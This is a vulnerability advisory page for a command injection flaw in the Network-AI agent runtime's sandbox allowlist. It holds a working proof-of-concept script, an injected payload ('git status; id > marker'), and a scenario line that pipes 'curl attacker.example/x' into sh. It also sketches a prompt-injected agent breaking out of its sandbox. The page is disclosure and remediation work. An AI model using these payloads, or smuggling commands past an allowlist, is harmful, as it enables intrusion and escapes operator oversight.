Skip to main content

Network-AI EUVDEUVD-2026-46003

| CVE-2026-54051 CRITICAL
OS Command Injection (CWE-78)
2026-06-19 https://github.com/Jovancoding/Network-AI GHSA-qw6v-5fcf-5666
9.9
CVSS 3.1 · Vendor: https://github.com/Jovancoding/Network-AI
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Compromise or prompt-inject agent
  2. Delivery
    Craft command beginning with allowlisted prefix
  3. Exploit
    Append shell metacharacters and payload
  4. Execution
    SandboxPolicy.isCommandAllowed returns true
  5. Persist
    /bin/sh -c interprets injected statements
  6. Impact
    Arbitrary code execution as orchestrator process

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires (1) network-ai version < 5.9.1 installed and used as the agent runtime; (2) the operator-configured SandboxPolicy.allowedCommands list contains at least one wildcard glob entry such as git *, npm *, or node * - entries without trailing wildcards or with no metacharacter-sensitive prefix do not trigger the bug; (3) an agent or caller that can submit command strings to ShellExecutor.execute. No fresh-install precondition, no additional misconfiguration, and no user interaction is required once the allowlist contains a wildcard. Limiting factors: exploitation is impossible if the deployment uses only fully-literal allowlist entries, and node */npm * are direct code execution by design so they represent operator misuse rather than only a sandbox-escape primitive.

Impact

The reporter-assigned CVSS 3.1 vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (9.9) overstates exploitability for many deployments: AV:N assumes the agent input arrives over the network, but the vulnerable code path is reached only when an operator has already granted a wildcard allowlist entry and an agent or caller is permitted to submit commands, which is closer to a local/adjacent trust boundary. Scope:Changed is defensible because a compromised sandboxed agent breaks out to the orchestrator host process. EPSS, KEV status, and SSVC decision points are not provided in the input; given the package is a niche AI agent runtime and there is no public exploit identified at time of analysis beyond the advisory PoC, real-world exploitation is likely targeted rather than mass-scanned. The risk is genuine and high for anyone using wildcard allowlist patterns - particularly node * or npm *, which are direct code execution by design - but defenders should treat the network-vector framing with caution and verify how command input reaches their agent.

Exploit ScenarioDerived

An operator deploys network-ai 5.8.5 with an allowlist containing git * to let the agent perform repository operations. A prompt-injected or otherwise compromised agent submits git status; curl attacker.example/x | sh; isCommandAllowed returns true because the string starts with git , and /bin/sh -c executes both statements, giving the attacker arbitrary code execution as the orchestrator process. The published PoC (poc-316.js) demonstrates the same primitive by writing a marker file via an injected id command.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 19, 2026

Command injection in the Network-AI npm package (network-ai < 5.9.1) lets any agent or caller granted a wildcard allowlist entry such as git *, npm *, or node * execute arbitrary shell commands as the orchestrator process. The flaw stems from SandboxPolicy.isCommandAllowed glob-matching the entire command string while ShellExecutor runs it through /bin/sh -c, so shell metacharacters like ;, |, and $(...) smuggle additional commands past the sandbox. A working PoC is published in the GHSA advisory, though there is no public exploit identified at time of analysis in the wild and no CISA KEV listing.

RemediationAI

Vendor-released patch: network-ai 5.9.1. Upgrade with npm install network-ai@5.9.1 (or later); the new ShellExecutor calls spawn(file, args, { shell: false }) with a quote-aware parsed argv and SandboxPolicy.isCommandAllowed/SandboxPolicy.tokenizeCommand reject unquoted shell metacharacters (; & | $ \ ( ) < > { }, newline) and unterminated quotes before the allowlist glob is applied. As defense in depth - and the only mitigation if you cannot upgrade immediately - remove broad wildcard allowlist entries, especially node *, npm *`, and any interpreter wildcard, since those grant code execution by design even after the patch; replace them with narrowly-scoped patterns naming the specific subcommands and argument shapes you actually need, accepting the operational trade-off that legitimate ad-hoc invocations will now be rejected and require allowlist updates. Refer to the advisory at https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-qw6v-5fcf-5666.

Affected VersionsENISA

Network-AI < 5.9.1

Affected Packages

npm network-ai fix: 5.9.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Network-AI is a Node.js-based AI agent runtime distributed on npm (pkg:npm/network-ai). Its sandbox model (THREAT_MODEL.md, Adversary 3.2) relies on an operator-supplied allowlist enforced by SandboxPolicy.isCommandAllowed in lib/agent-runtime.ts. The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command): globMatch compiles * into .* and anchors the regex, so git * becomes ^git .*$ and matches any string starting with git - including git status; id. ShellExecutor.execute only consults isCommandAllowed (never requiresApproval) and then spawnCommand invokes /bin/sh -c <string>, causing the shell to interpret separators and substitutions the matcher never tokenized. The matcher and the executor disagree on what constitutes a single command.

Know when Node.js gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/Jovancoding/Network-AI) PRIMARY 9.9 CRITICAL
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
vuln.today AI 8.8 HIGH

Exploitation requires an operator-granted wildcard allowlist and a caller authorized to invoke ShellExecutor, so AV:L and PR:L; sandbox escape to host process gives S:C with full C/I/A impact.

3.1 AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (https://github.com/Jovancoding/Network-AI).

CVSS VectorVendor: https://github.com/Jovancoding/Network-AI

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

The agent sandbox gates shell commands behind an allowlist (SandboxPolicy.isCommandAllowed), which THREAT_MODEL.md calls the main control against a compromised agent (Adversary 3.2). The allowlist glob-matches the whole command string, but ShellExecutor runs that string through /bin/sh -c. So any wildcard allow such as git *, npm * or node * also matches git status; <anything>, and a scoped command becomes arbitrary execution.

Root cause

Matching and execution disagree on what a command is. Lines pinned to 40e42d7 (lib/agent-runtime.ts is identical to the v5.8.5 tag).

  1. isCommandAllowed matches the full string, with no tokenizing and no metacharacter check:

https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L248-L260

  1. globMatch compiles * to .* and anchors it, so git * becomes ^git .*$ and matches git status; id:

https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L353-L360

  1. ShellExecutor.execute only checks isCommandAllowed, never requiresApproval:

https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L387-L391

  1. spawnCommand runs the approved string via /bin/sh -c, so ;, | and $(...) are interpreted by the shell:

https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L427-L431

Reachability

Any agent or caller allowed to run commands hits this when the operator allowlist has a wildcard entry. A plain git * is enough. No fresh-install precondition and no extra misconfiguration.

PoC

Installs network-ai@5.8.5, allows git *, then runs git status; id > marker. The allowlist accepts it and the injected id runs.

Run: npm i network-ai@5.8.5 && node poc-316.js

js
'use strict';
const os = require('os');
const fs = require('fs');
const path = require('path');
const { SandboxPolicy, ShellExecutor } = require('network-ai');

(async () => {
  const base = fs.mkdtempSync(path.join(os.tmpdir(), 'nai-poc-316-'));
  const marker = path.join(base, 'PWNED-316.txt');
  const policy = new SandboxPolicy({ basePath: base, allowedCommands: ['git *'] });
  const sh = new ShellExecutor(policy);

  const payload = `git status; id > ${marker}; echo INJECTED`;
  console.log('version:', require('network-ai/package.json').version);
  console.log('allowed:', policy.isCommandAllowed(payload));

  await sh.execute(payload);
  const ran = fs.existsSync(marker);
  console.log('injected id ran:', ran, ran ? fs.readFileSync(marker, 'utf8').trim() : '');
  console.log(ran ? 'VULNERABLE' : 'not reproduced');
  process.exit(ran ? 0 : 1);
})().catch(err => { console.error(err); process.exit(3); });

Output:

version: 5.8.5
allowed: true
injected id ran: true uid=501(alex) gid=20(staff) groups=20(staff),...
VULNERABLE

Impact

Arbitrary command execution as the orchestrator process. It defeats the one control meant to contain a compromised agent, so any agent with a single wildcard allow (git *, npm *, node *) can run anything. node * and npm * are direct code exec even without metacharacters.

Possible fix

Do not run agent commands through a shell. Parse to argv and spawn(file, args, { shell: false }), allowlist on the executable plus argument patterns, and reject shell metacharacters. Anchoring the regex alone is not enough; the whole-string match plus /bin/sh -c is the bug.

Patch

Fixed in v5.9.1 (commit 379f776). ShellExecutor now executes via spawn(file, args, { shell: false }) using a quote-aware parsed argv, so no shell is invoked. SandboxPolicy.isCommandAllowed and the new SandboxPolicy.tokenizeCommand reject any unquoted shell metacharacter (; & | $ ( ) < > { }` newline) or unterminated quote before the allowlist glob match; quoted metacharacters are preserved as literal argument data.

Remediation: upgrade to network-ai@5.9.1 or later. As defense in depth, avoid broad wildcard allowlist entries such as node * / npm * which are direct code execution by design.

Executive ViewAI

Why It Matters

The Network-AI npm package (versions < 5.9.1) contains a critical command injection vulnerability with publicly available exploit code that allows attackers with wildcard allowlist access to execute arbitrary commands at the orchestrator privilege level. Organizations deploying Network-AI with wildcard allowlist entries (such as 'git *', 'npm *', 'node *') face immediate risk of complete infrastructure compromise. Urgent action is required to audit configurations and implement interim controls while awaiting vendor patch availability.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Replace all wildcard allowlist entries with explicit, command-specific allowlists; (2) Restrict orchestrator network access to only required agents and services; (3) Implement OS-level process isolation and privilege limitations on the orchestrator; (4) Enable comprehensive command and execution audit logging; (5) Deploy behavior-based detection to flag suspicious command patterns.

Threat Intelligence Overview

EPSS Score
0.4%
Top 71% exploitable
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
Very High

Priority Score

50
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +50
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

CVE-2025-68613 HIGH POC
8.8 Dec 19

Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy